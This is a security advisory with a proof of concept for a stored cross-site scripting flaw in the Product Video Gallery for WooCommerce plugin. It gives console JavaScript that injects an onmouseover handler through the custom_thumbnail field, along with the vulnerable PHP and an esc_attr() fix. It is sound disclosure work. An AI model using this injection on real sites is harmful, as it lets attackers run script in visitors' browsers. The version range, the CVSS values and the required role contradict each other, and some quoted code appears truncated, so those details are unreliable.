
Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored Cross-Site Scripting Proof of Concept
| Detail | Value |
|---|
| CVE ID | CVE-2026-10104 |
| Plugin | Product Video Gallery for WooCommerce |
| Vendor | TechnoSoft Webs (NikHiL Gadhiya) |
| Type | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation |
| CVSS 3.1 | 4.4 (Medium) |
| Affected Versions | ≤ 1.5.1.6 |
| Fixed Version | 1.5.1.9 |
| Requires Authentication | Yes — Contributor+ (any role that can edit products) |
| Discovered by | Ravindu Lakmina Munaweera |
The Product Video Gallery for WooCommerce plugin for WordPress (versions up to and including 1.5.1.6) is vulnerable to Stored Cross-Site Scripting (XSS) via the custom_thumbnail product meta parameter.
The plugin's save_wc_video_url_field() method sanitizes the custom_thumbnail[] POST parameter using sanitize_text_field(), which strips HTML tags but does not strip double-quote (") characters. On the frontend, the stored value is inserted directly into an `` tag's attributes in nickx_get_video_thumbanil_html() without esc_attr() escaping. This allows an authenticated attacker to inject arbitrary HTML event handler attributes (e.g., onmouseover, onerror) that execute JavaScript in the browser of any visitor — including unauthenticated users — who views the affected product page.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Changed |
| Confidentiality Impact | Low |
| Integrity Impact | Low |
| Availability Impact | None |
File: public/class-rendering.php
Method: nickx_get_video_thumbanil_html()
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Line 379 — rendered inside tag on the public frontend
echo '';
File: admin/class-video-field.php
Method: save_wc_video_url_field()
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Log in as a Shop Manager (attacker).
Navigate to Products → Edit any product with a video URL set in the "Product Video Url" field.
Open browser Developer Tools (F12) → Console tab.
Paste and execute the following JavaScript:
const form = document.getElementById('post');
// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
Click "Update" to save the product.
Open the product page on the frontend in an incognito/private window (unauthenticated).
Hover over the video thumbnail in the product gallery.
✅ JavaScript alert executes, confirming Stored XSS.


The injected " closes the custom_thumbnail attribute, and onmouseover becomes a new executable attribute on the `` element.
Apply esc_attr() to the custom thumbnail value before inserting it into the HTML attribute:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
This same fix should be applied to all instances in nickx_get_video_thumbanil_html() where $custom_thumbnail is constructed (both the array and non-array code paths).
| Date | Event |
|---|---|
| 2026-03-20 | Vulnerability discovered |
| 2026-03-20 | Reported to Wordfence (CNA) |
| 2026-05-29 | CVE ID assigned: CVE-2026-10104 |
| 2026-07-01 | Public disclosure |
This advisory is released under CC BY 4.0.